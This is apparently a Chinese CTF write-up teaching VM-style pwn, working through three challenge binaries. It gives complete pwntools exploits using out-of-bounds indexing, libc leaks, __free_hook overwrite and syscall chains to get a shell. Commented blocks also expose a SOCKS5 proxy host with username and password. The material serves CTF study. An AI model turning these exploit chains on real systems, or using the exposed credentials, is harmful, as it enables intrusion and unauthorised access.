前言
vmpwn简单来说就是程序通过一些方式模拟虚拟机的运行,我们则通过输入对应的指令让程序指向对应操作。最终目的当然是getshell或者获取flag。vmpwn相比原来的pwn多了挺多逆向上的难度,主要要看懂程序各个部分在干嘛。看懂了之后就比较简单了。本文应该会分享一下我个人的思路,题比较简单。
思路
总体上的思路就是我们输入各种opcode让程序进行数值上的操作,跟堆题比较像,对数值进行操作来控制程序流。漏洞通常是越界写。难点主要在理解程序逻辑上。下面我们看例题
ISCTF2025——myvm
开了沙盒,禁了execve,开了canary与pie。接下来放ida看看

如果是第一次写vmpwn看见这个就有点懵了,我个人观点是抓住我们的输入,跟着我们的输入走,看的会清晰一点。我们的输入第一次在scanf,输入进v7了,然后进了一个函数,我们进去看看

我们的输入在形参a1上,a1给了v2,指向v2的指针是v3,v4是malloc的堆上,v4指向我们输入的指针。这里主要看上面的声明,这两个指针都是指向char类型的,*之后都只有一个字符。也就是这里把我们输入分成了4个部分,比如0x12345678。0x78就在 *v4的地方
*(v4+1)就是0x56后面以此类推。这些有什么用我们得看后面了。最后返回值是v4。

这里reg是在bss段上的数组,类型是long。首先这个数组是有符号的,然后这个数组是8字节大小,也就说明一个数组成员可以放下一个完整的指针。接下来看我们输入,这里的ptr就是我们刚才的v4,直接v4决定了我们虚拟机接下来的操作,操作就是下面的+- * / >> << ^已经后面的。接下来的(v4+1)可以看见都在表达式左边,也就是显然就是赋值的目标地址。后面ptr+2,ptr+3就是这写表达式的左右值。
后面这里的v9是在栈上的,而且这个赋值是v3=v6++ v4=v6--。这里是先赋值再自增/自减,也就有了栈溢出与泄露。这里的操作其实就是pop与push。即把栈上数据赋给bss段上,把bss段上数据写入栈。
至此我们的逆向也就完成了。在我们exp上可以定义这个函数
def code(choice,tar,a,s): pay=choice+(tar<<8)+(a<<16)+(s<<24) sl(str(pay))
这里我们可以看看汇编
.text:0000000000000D02 mov rax, [rbp+ptr] ; jumptable 0000000000000D00 case 0 .text:0000000000000D09 movzx eax, word ptr [rax+4] .text:0000000000000D0D cwde .text:0000000000000D0E cdqe
这里如果我们输入\xfc就会变成补码形式,因为符号位拓展了。这样就可以数组越界访问了。reg数组在bss段上,通过负索引可以访问got表,有了got表就有libc基地址了,有了libc就可以打ret2syscall的ORW了。通过pop与push操作可以泄露canary与程序基地址。这里关键是open的./flag字符串怎么写。要么我们通过reg的加减操作写出来./flag的ascii码(注意小端序)然后通过程序基地址+偏移找出来存放这个字符串的地址。要么我们就调用read往bss段上写一个./flag。我采用的是第二种。
这题因为我们不能在bss段上输入数据,所以需要定义一个能生成任意数字的代码,我这里个人选择的是逐位累加可能比较慢。各位可以优化一下。总体思路就是负索引泄露libc,push与pop泄露canary与程序基地址,赋给返回地址打ret2syscall的ORW。exp如下:
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') # libc1=cdll.LoadLibrary('./libc.so.6') li='./libc.so.6' flag = 1 if flag: p = remote('challenge.imxbt.cn',30873) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def code(choice,tar,a,s): pay=choice+(tar<<8)+(a<<16)+(s<<24) sl(str(pay)) code(3,0,0xfc,0xfc)#tar:0x21b780 code(0,1,0,0)#2 code(2,2,1,1)#4 code(2,3,2,2)#0x10 code(4,4,0,3)#0x10000 code(4,7,4,2)#0x100000 code(5,5,4,2)#0x1000 code(5,6,5,2)#0x100 def add(addr,a,b): code(0,addr,a,b) def sub(addr,a,b): code(1,addr,a,b) def mul(addr,a,b): code(2,addr,a,b) def dev(addr,a,b): code(3,addr,a,b) def shl(addr,a,b): code(4,addr,a,b) def shr(addr,a,b): code(5,addr,a,b) def pop(addr): pay=(addr<<8)+7 sl(str(pay)) def push(addr): pay=(addr<<8)+8 sl(str(pay)) def num(addr,tar): a=tar&0xf b=(tar>>4)&0xf c=(tar>>8)&0xf d=(tar>>12)&0xf e=(tar>>16)&0xf f=(tar>>20)&0xf for i in range(a): add(10,10,0)#0xf for g in range(b): add(11,11,3)#0xff for h in range(c): add(12,12,6)#0xfff for k in range(d): add(13,13,5)#0xffff for p in range(e): add(14,14,4)#0xfffff for l in range(f): add(15,15,7)#0xffffff add(11,10,11) add(12,11,12) add(13,12,13) add(14,13,14) add(addr,14,15) sub(10,10,10) sub(11,11,11) sub(12,12,12) sub(13,13,13) sub(14,14,14) sub(15,15,15) num(16,0x21b780) sub(16,0xf8,16) rax=0x45eb0 rdi=0x2a3e5 rsi=0x2be51 rdb=0x11f2e7 end=0x91316 num(17,rax) add(17,17,16) num(18,rdi) add(18,18,16) num(19,rsi) add(19,19,16) num(20,rdb) add(20,20,16) num(21,end) add(21,21,16) for m in range(0x201): pop(22) push(22) pop(22) pop(22) pop(22) pop(22) pop(22) push(25) push(22) num(29,0xc6c) sub(25,25,29) num(29,0x202470) add(25,25,29) num(30,0x338) sub(26,25,30) num(23,0x6761) num(24,0x6c66) num(27,0x2f2e) shl(23,23,3) shl(23,23,3) shl(24,24,3) add(23,23,24) add(27,27,23) add(24,0,1)#3 pop(17) pop(1) pop(18) pop(26) pop(19) pop(36) pop(21) pop(17) pop(36) pop(18) pop(24) pop(19) pop(25) pop(20) pop(6) pop(6) pop(21) pop(17) pop(0) pop(18) pop(0) pop(19) pop(25) pop(20) pop(6) pop(6) pop(21) slr(9) ti()
下面我们看第二个例题
BUUCTF——[OGeek2019 Final]OVM
这题逆向上复杂一点,但是攻击更简单了,各位可以看看gets师傅的讲解视频,保护没怎么开,glibc是2.23

这题开始先申请了一个堆块,后面读入两个数字,第一个是索引,第二个是bss段上另一个数组,后面输入的是opencode的数量,这里注意他是把这个数量放进循环里了,我们输入的opencode数量要等于这个循环数。,后面read往堆块里写值,最后这个sendcomment用free释放了这个堆块。这里就有点奇怪了,好端端的虚拟机要这个操作干什么呢?我们进去看虚拟机的主逻辑。
ssize_t __fastcall execute(int getcode) { ssize_t code; // rax unsigned __int8 right; // [rsp+18h] [rbp-8h] unsigned __int8 left; // [rsp+19h] [rbp-7h] unsigned __int8 target; // [rsp+1Ah] [rbp-6h] int n15; // [rsp+1Ch] [rbp-4h] target = (getcode & 0xF0000u) >> 16; left = (getcode & 0xF00) >> 8; right = getcode & 0xF; code = HIBYTE(getcode);//>>24 if ( HIBYTE(getcode) == 0x70 ) { code = reg; reg[target] = reg[right] + reg[left]; return code; } if ( HIBYTE(getcode) > 0x70u ) { if ( HIBYTE(getcode) == 0xB0 ) { code = reg; reg[target] = reg[right] ^ reg[left]; return code; } if ( HIBYTE(getcode) > 0xB0u ) { if ( HIBYTE(getcode) == 0xD0 ) { code = reg; reg[target] = reg[left] >> reg[right]; return code; } if ( HIBYTE(getcode) > 0xD0u ) { if ( HIBYTE(getcode) == 0xE0 ) { running = 0; if ( !stackcount ) return write(1, "EXIT\n", 5u); } else if ( HIBYTE(getcode) != 0xFF ) { return code; } running = 0; for ( n15 = 0; n15 <= 15; ++n15 ) printf("R%d: %X\n", n15, reg[n15]); return write(1, "HALT\n", 5u); } else if ( HIBYTE(getcode) == 0xC0 ) { code = reg; reg[target] = reg[left] << reg[right]; } } else { switch ( HIBYTE(getcode) ) { case 0x90u: code = reg; reg[target] = reg[right] & reg[left]; break; case 0xA0u: code = reg; reg[target] = reg[right] | reg[left]; break; case 0x80u: code = reg; reg[target] = reg[left] - reg[right]; break; } } } else if ( HIBYTE(getcode) == 0x30 ) { code = reg; reg[target] = memory[reg[right]]; // 数组越界 } else if ( HIBYTE(getcode) > 0x30u ) { switch ( HIBYTE(getcode) ) { case 0x50u: LODWORD(code) = stackcount++; code = code; stack[code] = reg[target]; break; case 0x60u: --stackcount; code = reg; reg[target] = stack[stackcount]; break; case 0x40u: code = memory; memory[reg[right]] = reg[target]; // 数组越界 break; } } else if ( HIBYTE(getcode) == 0x10 ) { code = reg; reg[target] = getcode; } else if ( HIBYTE(getcode) == 0x20 ) { code = reg; reg[target] = getcode == 0; } return code; }
这里我已经逆好了,各位可以试着自己逆一下,最后def的时候是这样的。
def code(target,left,right,opcode): pay=(left<<8)+right+(target<<16)+(opcode<<24) sl(str(pay))
后续整体上跟上一题差别注意在中国memory和reg是int类型数组,他是4字节的。一个数组成员是放不下一个完整指针的。这题因为有show,然后上面也说了,read可以往一个堆块写数据,最后会free这个堆块。我们先用负索引数组越界泄露libc。把原本是堆块的地址改成freehook-8的地址,往其中写入/bin/sh字符串,freehook的地址写入system的地址。这样我们就会free掉freehook-8。因为free时先看freehook里有没有值,所以他不会触发free的检查,也就不会报错。需要注意的就是这题可以往bss里写我们输入的一字节还是挺好的。exp如下:
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc=ELF('./libc.so.6') ''' socks.set_default_proxy( socks.SOCKS5, "81.dart.ccsssc.com", 25790, username="1nkvap1o", password="cl330rd", rdns=True ) socket.socket = socks.socksocket ''' flag = 0 if flag: p = remote('node5.buuoj.cn',28571) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def code(target,left,right,opcode): pay=(left<<8)+right+(target<<16)+(opcode<<24) sl(str(pay)) def add(target,left,right): code(target,left,right,0x70) def sub(target,left,right): code(target,left,right,0x80) def shr(target,left,right): code(target,left,right,0xd0) def shl(target,left,right): code(target,left,right,0xc0) def push(target,something): code(something,0,target,0x40) def pop(target,something): code(target,0,something,0x30) def setnum(target,number): code(target,0,number,0x10) ru(b'PC:')#13 slr(0) ru(b'SP:') slr(30) ru(b'CODE SIZE:') slr(21)#25 ru(b"CODE: ") setnum(0,0x38) setnum(1,1) sub(2,2,0) pop(4,2)#low add(2,2,1) pop(5,2)#high libc 5-->start setnum(0,8) sub(6,8,0) setnum(0,4) add(9,0,9)#4 sub(13,13,13) #11 #target --> 0x1098 setnum(12,0x10) setnum(0,8) shl(12,12,0) setnum(0,0x90) add(10,12,0) add(4,10,4) push(6,4) setnum(0,1) add(6,6,0) push(6,5) ru(b'R4: ') a=rcl().strip() ru(b'R5: ') b=rcl().strip() c=b+a libcbase=i6(c)+8-libc.sym['__free_hook'] sy=libcbase+libc.sym['system'] ph(libcbase) pay=b'/bin/sh\x00'+p64(sy) sd(pay) ti()
我exp里的push与pop是其实更像mov,本题不能往栈上写值。
VNCTF2026——vm_syscall
这题更难逆向了,逆向完也很简单,这题开了pie。这里可以看出题人的讲解视频,我主要也是分享一下个人逆向思路。先看看main的逻辑。

这里可以看见先申请了一个堆块,然后mmap申请了一段内存,内存放在ptr内,最后我们往内存里写东西。继续看

这里应该是程序的主逻辑,可以这里这个*(ptr+2)应该是某个东西,我们按顺序看看下面的函数

这里我先隐藏类型了,不然看不清楚,这里如果没隐藏类型可以明显的看见返回值是一字节,这里明显是读取了一个opencode,这里可以看见* (ptr+2)应该是索引,因为我们输入的是一大堆数据,并没有像前两题一样分批输入,所以有索引也是正常。这里我们重命名一下这个函数(ida里对着这个名字按n)。目前我们已知的ptr相关的结构有两个,第一个是*ptr是我们的内存,第二个是 *(ptr+2)这个应该是索引,我们这里可以还原一下结构体,shift+f1打开结构体窗口,右键创建结构体。结构体第一个成员应该是char *类型。第二个应该是int类型的索引。我们继续往下逆。

到这里就有点吓人了,我们一个个看,第一个a1是形参,也就是我们第一个读取的opencode,如果我们输入的第一次code是1他就会在prt[12]与ptr[13]的位置再读一个code,然后检查一下是不是大于3。这里感觉也有点像什么索引。

当我们输入的第一次code是2的时候前面一个循环还是在prt[12]与ptr[13]的位置分别读一个code(这个code不能大于4),然后他又读一个code作为下一个循环的标志。下一个循环明显就是在ptr+8的位置一直读数据,比如第一次读入的code是1。一进循环原来ptr+8肯定是0,左移也是0,再或一下那就获得了我们的code1,然后第二次循环先左移就变成了0x100,再或一下读取的code比如0x20,那么ptr+8就变成了0x120。综上我们就可以看出来这应该是一个输入数字的方法。
当我们输入的第一次code是3的话就会在ptr[12],ptr[13],ptr[14]的地方分别读一个code(code不能大于3),有什么用目前不知道。如果不是1,2,3的话就会直接退出,至此这个函数我们就逆向完了,目前还是不太清楚这个程序在干嘛。

这里case1,2,3进去都可以看见是寄存器相关操作,但其实我们可以看出来都是没有往栈上写数据的操作的,因为他都是bss段上的*(ptr+一个值),没有涉及栈上的内容,光考这些加减肯定是不能劫持程序控制流的。我们可以看看case4,这里传了个ptr+0x10进去

可以看见应该是汇编,我们按tab切汇编看看

这里我们只知道rdi是我们传进去的参数,经过一系列操作把rdi的值赋给了rbx。这里把rbx,rbx+8,rbx+0x10,rbx+0x18赋给了rax,rdi,rsi,rdx寄存器,而且后面还要syscall。这里如果我们值设置的好就可以执行任意系统调用。而且最后还把rax的返回值写会了rbx内(就是rbx将会赋给rax的位置)也就是得到了返回值。
至此我们就知道ptr相关的结构了,*ptr是写入opencode的地址, *((unsigned int *)ptr+2)是索引,其实在内存上也就是ptr+8。
*((_DWORD)ptr+12)是一个小于3的值, *(( _DWORD)ptr+13)也是一个小于3的值, *(( _DWORD)ptr+14)也是一个小于3的值(当读入这个地方的code也可以是设置数字的次数)。 *((char *)ptr+0x10)后面是三个寄存器。这样我们就可以修复一下ptr这个结构体
struct node { char *opcodeaddr; unsigned int index; __int64 reg[4]; unsigned int choice1; unsigned int choice2; int choice3; unsigned int k1; unsigned int number; };
然后我们在ida里对着这个ptr按y修改声明,再按f5刷新。就可以看见这样的

接下来我们再看主循环里的case1,2,3就很简单了

case1是这样。不用解释吧...choice2因为小于3,所以他的值决定将来赋给哪个寄存器比如0赋给rax(rbx),1赋给rdi(rbx+8)...我们继续看case2

这里也是一样,各种操作。这个::是取全局变量的意思,然后*$一起写其实没任何意义,直接不用看。这里就是要注意一下后面ida识别有点问题

这里看似跟我们的reg没关系,其实是有的,可以看见opcodeaddr是指向8字节的指针,他+2就是我们寄存器的地址,剩下的choice1其实就是我们寄存器的索引。其实他就是::ptr->reg[::ptr->choice1]。我们继续看case3

就是各寄存器进行各种计算。
最后总结一下逻辑。首先写入opencode,opencode跟之前的不太一样,是一字节一字节读的。
如果第一个是1,那就往后再读两个字节,每个字节的ascii码值小于3,在主循环里会选择将要赋给对应寄存器的值进行赋值与xchg操作。
如果第一个是2,就先往后读两个字节选择两个将要赋给对应两个寄存器的值,然后再读一个字节决定后续读入的次数(次数要小于4)。最后会形成一个数字,比如读两次,先后读入的是0x12与0x13,那么设置出的数字就是0x1213。然后在主循环里会进case2让将要赋给对应寄存器的值与设置的数字进行各种运算。
如果第第一个是3,就往后读3个字节,在主循环里进case3,让三个将要赋给对应寄存器的值进行各种运算操作。
如果第一个是4就不会读取数据,直接把将要赋给对应寄存器的值赋给对应寄存器并syscall。
整体逻辑就是如此,接下来就是如何getshell了。这里因为开了pie,我们是没有存储binsh的地方的。因为没有show。但是syscall有返回值,这里我的解法是跟之前isctf2024那题一样,用brk系统调用。因为他这里一开始申请了一个堆块,我们可以用brk尝试扩展这个堆,这样他就会返回原来堆块的结束位置,我们随便输个大小,哪怕他扩展失败也会返回原理堆块的结束位置。只是我们不能直接往那个堆块的结束位置里写值,我们把得到的堆块的结束位置减一个大小就可以得到写binsh字符串的地址,后面调用read写binsh然后调用execve就可以getshell了。
预期解是用shmget与shmat,这个我就概括一下吧。shmget只在64位下有系统调用,系统调用号是29,主要用于创建/获取共享内存段的id,他需要三个参数,第一个是查找对应内存段所需的键值,第二个参数是大小,第三个参数是flag字段也就是内存段的权限(以八进制表示),但这里的权限不是我们文件里写的那种权限,更偏向文件本身的权限而不是内存,也就是设置成可执行但也不能往上写shellcode。一般设置成0x3b8也就是八进制的1666。这个1000是IPC_CREAT是假如没找到就创建一个共享内存段id。
写题时第一个键值可以随便取,第二个大小也可以,别太大就好,第三个推荐固定0x3b8。
shmat只有64位下才有系统调用,系统调用号是30,主要就是把获取到的id映射进内存中,得到真正可写的内存。第一个参数是共享内存段的id,第二个参数是想要映射的位置,我们可以设0让系统自己分配,最后一个是标志位,这个一般设置成0。
获得了可写binsh字符串的地址后面调用read写binsh然后调用execve就getshell了。这两种解法的exp如下:
brk的解法
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') #libc = ELF('./libc.so.6') # libc1=cdll.LoadLibrary('./libc.so.6') #li='./libc.so.6' ''' socks.set_default_proxy( socks.SOCKS5, "81.dart.ccsssc.com", 25790, username="1nkvap1o", password="cl330rd", rdns=True ) socket.socket = socks.socksocket ''' flag = 0 if flag: p = remote('1') else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def regfu(index1,index2):#reg2=reg1 pay=p8(1)+p8(index1)+p8(index2)+p8(0x20) return pay def xchg(index1,index2): pay=p8(1)+p8(index1)+p8(index2)+p8(0x30) return pay def regshl(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50) return pay def regshr(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60) return pay def regad(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10) return pay def regsub(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20) return pay def setnum(target,left,long):#number pay=p8(2)+p8(target)+p8(left)+p8(long) return pay ''' 0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr 3 2 1 0x10000 0x100 0x10 0-->rax 1-->rdi 2-->rsi 3-->rdx''' pay=setnum(1,1,3)+p8(0x60)+p8(0)+p8(0)+p8(0x10)#600000 pay+=regfu(1,3) #pay+=setnum(1,1,1)+p8(24)+p8(0x50)#rdi=0x600000000000 pay+=setnum(0,0,1)+p8(12)+p8(0x10) pay+=p8(4)#brk(0x600000) pay+=regfu(2,1)+xchg(0,2) pay+=setnum(2,2,2)+p8(0x90)+p8(0)+p8(0x20) pay+=p8(4)#read(0,$rax,0x600000) pay+=regsub(0,0,0)+regsub(3,3,3) pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10)#rax=0x3b pay+=xchg(1,2)#rdi-->addr-->binsh pay+=p8(4)#execve("/bin/sh",0,0) sd(pay) pause() sd(b'/bin/sh\x00') ti()
shmget与shmat解法
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') #libc = ELF('./libc.so.6') # libc1=cdll.LoadLibrary('./libc.so.6') #li='./libc.so.6' ''' socks.set_default_proxy( socks.SOCKS5, "81.dart.ccsssc.com", 25790, username="1nkvap1o", password="cl330rd", rdns=True ) socket.socket = socks.socksocket ''' flag = 0 if flag: p = remote('1') else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def regmov(index2,index1):#reg2=reg1 pay=p8(1)+p8(index1)+p8(index2)+p8(0x20) return pay def xchg(index1,index2): pay=p8(1)+p8(index1)+p8(index2)+p8(0x30) return pay def regshl(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50) return pay def regshr(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60) return pay def regad(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10) return pay def regsub(target,left,right): pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20) return pay def setnum(target,left,long):#number pay=p8(2)+p8(target)+p8(left)+p8(long)#after is number's size return pay ''' 0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr long: 3 2 1 0x10000 0x100 0x10 reg:0-->rax 1-->rdi 2-->rsi 3-->rdx''' pay=setnum(0,0,1)+p8(29)+p8(0x10)#rax=29 pay+=setnum(1,1,1)+p8(0x70)+p8(0x10)#rdi=0x70 pay+=setnum(2,2,1)+p8(0x80)+p8(0x10)#rdi=0x80 pay+=setnum(3,3,2)+p8(0x3)+p8(0xb6)+p8(0x10)#rdx=0x3b6 pay+=p8(4)#shmget(0x70,0x80,0x3b6) pay+=xchg(0,1)+regsub(0,0,0)+regmov(2,0)+regmov(3,0) pay+=setnum(0,0,1)+p8(30)+p8(0x10) pay+=p8(4)#shmat($rax,0,0) pay+=xchg(2,0)+regmov(1,3) pay+=setnum(3,3,1)+p8(0xd0)+p8(0x10) pay+=p8(4)#read pay+=xchg(1,2)+regmov(3,2)+regsub(0,0,0) pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10) pay+=p8(4)#execve sd(pay) pause() sd(b'/bin/sh\x00') ti()
总的来说逆向时快死了,逆向完直接爽。所以逆向是爽的(dui)